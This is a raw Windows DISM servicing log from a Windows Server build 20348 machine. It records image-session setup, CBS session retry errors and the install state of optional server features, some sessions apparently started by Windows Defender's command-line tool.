2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Input parameters: ImagePath: DISM_{53BFAE52-B167-4E2F-A258-0A37B57FF845}, WindowsDirectory: (null), SystemDrive: (null) - DismOpenSessionInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Lookup in table by path failed for: DRIVE_C - CTransactionalImageTable::LookupImagePath
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Waiting for m_pInternalThread to start - CCommandThread::Start
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=4348 Enter CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 CommandThread StartupEvent signaled - CCommandThread::WaitForStartup
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 m_pInternalThread started - CCommandThread::Start
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=4348 Enter CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=4348 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=4348 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-05-16 23:05:23, Info                  DISM   PID=3580 TID=4348 Scratch directory set to 'C:\Windows\TEMP\'. - CDISMManager::put_ScratchDir
2025-05-16 23:05:23, Info                  DISM   PID=3580 TID=4348 DismCore.dll version: 10.0.20348.1 - CDISMManager::FinalConstruct
2025-05-16 23:05:23, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:23, Info                  DISM   PID=3580 TID=4348 Successfully loaded the ImageSession at "C:\Windows\system32\Dism" - CDISMManager::LoadLocalImageSession
2025-05-16 23:05:23, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:23, Info                  DISM   DISM Provider Store: PID=3580 TID=4348 Found and Initialized the DISM Logger. - CDISMProviderStore::Internal_InitializeLogger
2025-05-16 23:05:23, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:23, Info                  DISM   DISM Manager: PID=3580 TID=4348 Successfully created the local image session and provider store. - CDISMManager::CreateLocalImageSession
2025-05-16 23:05:24, Info                  DISM   DISM FFU Provider: PID=3580 TID=4348 [C:\] is not recognized by the DISM FFU provider. - CFfuImage::Initialize
2025-05-16 23:05:24, Info                  DISM   DISM Imaging Provider: PID=3580 TID=4348 The provider FfuManager does not support CreateDismImage on C:\ - CGenericImagingManager::CreateDismImage
2025-05-16 23:05:24, Info                  DISM   DISM VHD Provider: PID=3580 TID=4348 [C:\] is not recognized by the DISM VHD provider. - CVhdImage::Initialize
2025-05-16 23:05:24, Info                  DISM   DISM Imaging Provider: PID=3580 TID=4348 The provider VHDManager does not support CreateDismImage on C:\ - CGenericImagingManager::CreateDismImage
[3580.4348] [0x8007007b] FIOReadFileIntoBuffer:(1458): The filename, directory name, or volume label syntax is incorrect.
[3580.4348] [0xc142011c] UnmarshallImageHandleFromDirectory:(641)
[3580.4348] [0xc142011c] WIMGetMountedImageHandle:(2910)
2025-05-16 23:05:24, Info                  DISM   DISM WIM Provider: PID=3580 TID=4348 [C:\] is not a WIM mount point. - CWimMountedImageInfo::Initialize
2025-05-16 23:05:24, Info                  DISM   DISM Imaging Provider: PID=3580 TID=4348 The provider WimManager does not support CreateDismImage on C:\ - CGenericImagingManager::CreateDismImage
2025-05-16 23:05:24, Info                  DISM   DISM Imaging Provider: PID=3580 TID=4348 No imaging provider supported CreateDismImage for this path - CGenericImagingManager::CreateDismImage
[3580.4348] [0x8007007b] FIOReadFileIntoBuffer:(1458): The filename, directory name, or volume label syntax is incorrect.
[3580.4348] [0xc142011c] UnmarshallImageHandleFromDirectory:(641)
[3580.4348] [0xc142011c] WIMGetMountedImageHandle:(2910)
2025-05-16 23:05:24, Info                  DISM   DISM WIM Provider: PID=3580 TID=4348 [C:\] is not a WIM mount point. - CWimMountedImageInfo::Initialize
2025-05-16 23:05:24, Info                  DISM   DISM FFU Provider: PID=3580 TID=4348 [C:\] is not recognized by the DISM FFU provider. - CFfuImage::Initialize
2025-05-16 23:05:24, Info                  DISM   DISM VHD Provider: PID=3580 TID=4348 [C:\] is not recognized by the DISM VHD provider. - CVhdImage::Initialize
2025-05-16 23:05:24, Info                  DISM   DISM Manager: PID=3580 TID=4348 physical location path: C:\ - CDISMManager::CreateImageSession
2025-05-16 23:05:24, Info                  DISM   DISM Manager: PID=3580 TID=4348 Event name for current DISM session is Global\{743749A9-66AF-4646-82DE-CAD526FFA267} - CDISMManager::CheckSessionAndLock
2025-05-16 23:05:24, Info                  DISM   DISM Manager: PID=3580 TID=4348 Create session event 0x338 for current DISM session and event name is Global\{743749A9-66AF-4646-82DE-CAD526FFA267}  - CDISMManager::CheckSessionAndLock
2025-05-16 23:05:24, Info                  DISM   DISM Manager: PID=3580 TID=4348 Copying DISM from "C:\Windows\System32\Dism" - CDISMManager::CreateImageSessionFromLocation
2025-05-16 23:05:24, Info                  DISM   DISM Manager: PID=3580 TID=4348 Successfully loaded the ImageSession at "C:\Windows\TEMP\70C74420-6511-4CC3-9EA6-EA35A1D5A605" - CDISMManager::LoadRemoteImageSession
2025-05-16 23:05:24, Info                  DISM   DISM Image Session: PID=3316 TID=2288 Instantiating the Provider Store. - CDISMImageSession::get_ProviderStore
2025-05-16 23:05:24, Info                  DISM   DISM OS Provider: PID=3316 TID=2288 Defaulting SystemPath to C:\ - CDISMOSServiceManager::Final_OnConnect
2025-05-16 23:05:24, Info                  DISM   DISM OS Provider: PID=3316 TID=2288 Defaulting Windows folder to C:\Windows - CDISMOSServiceManager::Final_OnConnect
2025-05-16 23:05:24, Info                  DISM   DISM Provider Store: PID=3316 TID=2288 Attempting to initialize the logger from the Image Session. - CDISMProviderStore::Final_OnConnect
2025-05-16 23:05:24, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:24, Info                  DISM   DISM Provider Store: PID=3316 TID=2288 Found and Initialized the DISM Logger. - CDISMProviderStore::Internal_InitializeLogger
2025-05-16 23:05:24, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:24, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:24, Info                  DISM   DISM Manager: PID=3580 TID=4348 Image session successfully loaded from the temporary location: C:\Windows\TEMP\70C74420-6511-4CC3-9EA6-EA35A1D5A605 - CDISMManager::CreateImageSession
2025-05-16 23:05:24, Info                  DISM   API: PID=3580 TID=4348 Target image information: OS Version=10.0.20348.405, Image architecture=amd64 - CDismCore::LogImageSessionDetails
2025-05-16 23:05:24, Info                  DISM   API: PID=3580 TID=3656 Session id is: 2 - DismOpenSessionInternal
2025-05-16 23:05:24, Info                  DISM   API: PID=3580 TID=3656 Input parameters: Session: 2, Identifier: (null), PackageIdentifier: 0 - DismGetFeaturesInternal
2025-05-16 23:05:24, Info                  DISM   API: PID=3580 TID=3656 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-05-16 23:05:24, Info                  DISM   API: PID=3580 TID=4348 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-05-16 23:05:24, Info                  DISM   API: PID=3580 TID=4348 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-05-16 23:05:24, Info                  CSI    00000001 Shim considered [l:125]'\??\C:\Windows\Servicing\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_OBJECT_PATH_NOT_FOUND
2025-05-16 23:05:24, Info                  CSI    00000002 Shim considered [l:122]'\??\C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_SUCCESS
2025-05-16 23:05:24, Info                  DISM   DISM OS Provider: PID=3316 TID=2288 Determined System directory to be C:\Windows\System32 - CDISMOSServiceManager::get_SystemDirectory
2025-05-16 23:05:24, Info                  DISM   DISM Package Manager: PID=3316 TID=2288 Finished initializing the CbsConUI Handler. - CCbsConUIHandler::Initialize
2025-05-16 23:05:24, Info                  CSI    00000001 Shim considered [l:125]'\??\C:\Windows\Servicing\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_OBJECT_PATH_NOT_FOUND
2025-05-16 23:05:24, Info                  CSI    00000002 Shim considered [l:122]'\??\C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_SUCCESS
2025-05-16 23:05:24, Info                  DISM   DISM Package Manager: PID=3316 TID=2288 CBS is being initialized for online use. More information about CBS actions can be located at: %windir%\logs\cbs\cbs.log - CDISMPackageManager::Initialize
2025-05-16 23:05:24, Error                 DISM   DISM Package Manager: PID=3316 TID=2288 Failed to create session classID - waiting for a second and trying again, hr:0x8007045b - CDISMPackageManager::CreateCbsSession(hr:0x8007045b)
2025-05-16 23:05:25, Error                 DISM   DISM Package Manager: PID=3316 TID=2288 Failed to create session classID - waiting for a second and trying again, hr:0x8007045b - CDISMPackageManager::CreateCbsSession(hr:0x8007045b)
2025-05-16 23:05:26, Error                 DISM   DISM Package Manager: PID=3316 TID=2288 Failed to create session classID - waiting for a second and trying again, hr:0x8007045b - CDISMPackageManager::CreateCbsSession(hr:0x8007045b)
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll:                                            - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll: <----- Starting DismApi.dll session -----> - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll:                                            - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll: Host machine information: OS Version=10.0.20348, Running architecture=amd64, Number of processors=2 - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll: API Version 10.0.20348.1 - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 DismApi.dll: Parent process command line: "C:\Program Files\Windows Defender\MpCmdRun.exe" -Roles - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Input parameters: LogLevel: 2, LogFilePath: (null), ScratchDirectory: (null) - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Initialized GlobalConfig - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Initialized SessionTable - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Lookup in table by path failed for: DummyPath-2BA51B78-C7F7-4910-B99D-BB7345357CDC - CTransactionalImageTable::LookupImagePath
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Waiting for m_pInternalThread to start - CCommandThread::Start
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3364 Enter CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3364 Enter CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 CommandThread StartupEvent signaled - CCommandThread::WaitForStartup
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 m_pInternalThread started - CCommandThread::Start
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Created g_internalDismSession - DismInitializeInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Input parameters: ImagePath: DISM_{53BFAE52-B167-4E2F-A258-0A37B57FF845}, WindowsDirectory: (null), SystemDrive: (null) - DismOpenSessionInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Lookup in table by path failed for: DRIVE_C - CTransactionalImageTable::LookupImagePath
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Waiting for m_pInternalThread to start - CCommandThread::Start
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3372 Enter CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 CommandThread StartupEvent signaled - CCommandThread::WaitForStartup
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 m_pInternalThread started - CCommandThread::Start
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3372 Enter CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3372 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3372 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-05-16 23:05:50, Info                  DISM   PID=3280 TID=3372 Scratch directory set to 'C:\Windows\TEMP\'. - CDISMManager::put_ScratchDir
2025-05-16 23:05:50, Info                  DISM   PID=3280 TID=3372 DismCore.dll version: 10.0.20348.1 - CDISMManager::FinalConstruct
2025-05-16 23:05:50, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:50, Info                  DISM   PID=3280 TID=3372 Successfully loaded the ImageSession at "C:\Windows\system32\Dism" - CDISMManager::LoadLocalImageSession
2025-05-16 23:05:50, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:50, Info                  DISM   DISM Provider Store: PID=3280 TID=3372 Found and Initialized the DISM Logger. - CDISMProviderStore::Internal_InitializeLogger
2025-05-16 23:05:50, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:50, Info                  DISM   DISM Manager: PID=3280 TID=3372 Successfully created the local image session and provider store. - CDISMManager::CreateLocalImageSession
2025-05-16 23:05:50, Info                  DISM   DISM FFU Provider: PID=3280 TID=3372 [C:\] is not recognized by the DISM FFU provider. - CFfuImage::Initialize
2025-05-16 23:05:50, Info                  DISM   DISM Imaging Provider: PID=3280 TID=3372 The provider FfuManager does not support CreateDismImage on C:\ - CGenericImagingManager::CreateDismImage
2025-05-16 23:05:50, Info                  DISM   DISM VHD Provider: PID=3280 TID=3372 [C:\] is not recognized by the DISM VHD provider. - CVhdImage::Initialize
2025-05-16 23:05:50, Info                  DISM   DISM Imaging Provider: PID=3280 TID=3372 The provider VHDManager does not support CreateDismImage on C:\ - CGenericImagingManager::CreateDismImage
[3280.3372] [0x8007007b] FIOReadFileIntoBuffer:(1458): The filename, directory name, or volume label syntax is incorrect.
[3280.3372] [0xc142011c] UnmarshallImageHandleFromDirectory:(641)
[3280.3372] [0xc142011c] WIMGetMountedImageHandle:(2910)
2025-05-16 23:05:50, Info                  DISM   DISM WIM Provider: PID=3280 TID=3372 [C:\] is not a WIM mount point. - CWimMountedImageInfo::Initialize
2025-05-16 23:05:50, Info                  DISM   DISM Imaging Provider: PID=3280 TID=3372 The provider WimManager does not support CreateDismImage on C:\ - CGenericImagingManager::CreateDismImage
2025-05-16 23:05:50, Info                  DISM   DISM Imaging Provider: PID=3280 TID=3372 No imaging provider supported CreateDismImage for this path - CGenericImagingManager::CreateDismImage
[3280.3372] [0x8007007b] FIOReadFileIntoBuffer:(1458): The filename, directory name, or volume label syntax is incorrect.
[3280.3372] [0xc142011c] UnmarshallImageHandleFromDirectory:(641)
[3280.3372] [0xc142011c] WIMGetMountedImageHandle:(2910)
2025-05-16 23:05:50, Info                  DISM   DISM WIM Provider: PID=3280 TID=3372 [C:\] is not a WIM mount point. - CWimMountedImageInfo::Initialize
2025-05-16 23:05:50, Info                  DISM   DISM FFU Provider: PID=3280 TID=3372 [C:\] is not recognized by the DISM FFU provider. - CFfuImage::Initialize
2025-05-16 23:05:50, Info                  DISM   DISM VHD Provider: PID=3280 TID=3372 [C:\] is not recognized by the DISM VHD provider. - CVhdImage::Initialize
2025-05-16 23:05:50, Info                  DISM   DISM Manager: PID=3280 TID=3372 physical location path: C:\ - CDISMManager::CreateImageSession
2025-05-16 23:05:50, Info                  DISM   DISM Manager: PID=3280 TID=3372 Event name for current DISM session is Global\{A3D976C6-44E0-4751-B78B-B15BE64F8407} - CDISMManager::CheckSessionAndLock
2025-05-16 23:05:50, Info                  DISM   DISM Manager: PID=3280 TID=3372 Create session event 0x340 for current DISM session and event name is Global\{A3D976C6-44E0-4751-B78B-B15BE64F8407}  - CDISMManager::CheckSessionAndLock
2025-05-16 23:05:50, Info                  DISM   DISM Manager: PID=3280 TID=3372 Copying DISM from "C:\Windows\System32\Dism" - CDISMManager::CreateImageSessionFromLocation
2025-05-16 23:05:50, Info                  DISM   DISM Manager: PID=3280 TID=3372 Successfully loaded the ImageSession at "C:\Windows\TEMP\A63227FD-637C-4C98-A2D6-357A978B97CC" - CDISMManager::LoadRemoteImageSession
2025-05-16 23:05:50, Info                  DISM   DISM Image Session: PID=3544 TID=3572 Instantiating the Provider Store. - CDISMImageSession::get_ProviderStore
2025-05-16 23:05:50, Info                  DISM   DISM OS Provider: PID=3544 TID=3572 Defaulting SystemPath to C:\ - CDISMOSServiceManager::Final_OnConnect
2025-05-16 23:05:50, Info                  DISM   DISM OS Provider: PID=3544 TID=3572 Defaulting Windows folder to C:\Windows - CDISMOSServiceManager::Final_OnConnect
2025-05-16 23:05:50, Info                  DISM   DISM Provider Store: PID=3544 TID=3572 Attempting to initialize the logger from the Image Session. - CDISMProviderStore::Final_OnConnect
2025-05-16 23:05:50, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:50, Info                  DISM   DISM Provider Store: PID=3544 TID=3572 Found and Initialized the DISM Logger. - CDISMProviderStore::Internal_InitializeLogger
2025-05-16 23:05:50, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:50, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:50, Info                  DISM   DISM Manager: PID=3280 TID=3372 Image session successfully loaded from the temporary location: C:\Windows\TEMP\A63227FD-637C-4C98-A2D6-357A978B97CC - CDISMManager::CreateImageSession
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3372 Target image information: OS Version=10.0.20348.405, Image architecture=amd64 - CDismCore::LogImageSessionDetails
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Session id is: 2 - DismOpenSessionInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Input parameters: Session: 2, Identifier: (null), PackageIdentifier: 0 - DismGetFeaturesInternal
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3372 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3284 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-05-16 23:05:50, Info                  DISM   API: PID=3280 TID=3372 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-05-16 23:05:50, Info                  CSI    00000001 Shim considered [l:125]'\??\C:\Windows\Servicing\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_OBJECT_PATH_NOT_FOUND
2025-05-16 23:05:50, Info                  CSI    00000002 Shim considered [l:122]'\??\C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_SUCCESS
2025-05-16 23:05:50, Info                  DISM   DISM OS Provider: PID=3544 TID=3572 Determined System directory to be C:\Windows\System32 - CDISMOSServiceManager::get_SystemDirectory
2025-05-16 23:05:50, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Finished initializing the CbsConUI Handler. - CCbsConUIHandler::Initialize
2025-05-16 23:05:50, Info                  CSI    00000001 Shim considered [l:125]'\??\C:\Windows\Servicing\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_OBJECT_PATH_NOT_FOUND
2025-05-16 23:05:50, Info                  CSI    00000002 Shim considered [l:122]'\??\C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.20348.403_none_f21fbb46513ab2d5\wcp.dll' : got STATUS_SUCCESS
2025-05-16 23:05:50, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 CBS is being initialized for online use. More information about CBS actions can be located at: %windir%\logs\cbs\cbs.log - CDISMPackageManager::Initialize
2025-05-16 16:05:26, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Loaded servicing stack for online use only. - CDISMPackageManager::CreateCbsSession
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Server-Core with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetFx4ServerFeatures with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetFx4 with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetFx4Extended-ASPNET45 with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-Services45 with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-HTTP-Activation45 with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-TCP-Activation45 with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-Pipe-Activation45 with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-MSMQ-Activation45 with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WCF-TCP-PortSharing45 with CBS state 7(CbsInstallStateInstalled) being mapped to dism state 7(DISM_INSTALL_STATE_INSTALLED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ManagementOdata with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:32, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DSC-Service with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature DeviceHealthAttestationService with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IPAMServerFeature with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RightsManagementServices-Role with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RightsManagementServices with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RMS-Federation with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature RightsManagementServices-AdminTools with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature ADCertificateServicesRole with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature CertificateServices with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature OnlineRevocationServices with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature WebEnrollmentServices with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature NetworkDeviceEnrollmentServices with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature CertificateEnrollmentPolicyServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature CertificateEnrollmentServer with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature HostGuardianService-Package with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Web-Application-Proxy with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature IdentityServer-SecurityTokenService with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FSRM-Infrastructure with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Microsoft-Windows-FCI-Client-Package with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature FSRM-Infrastructure-Services with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
2025-05-16 16:05:33, Info                  DISM   DISM Package Manager: PID=3544 TID=3572 Feature Printing-InternetPrinting-Server with CBS state 4(CbsInstallStateStaged) being mapped to dism state 4(DISM_INSTALL_STATE_STAGED) - CDISMPackageFeature::LogInstallStateMapping
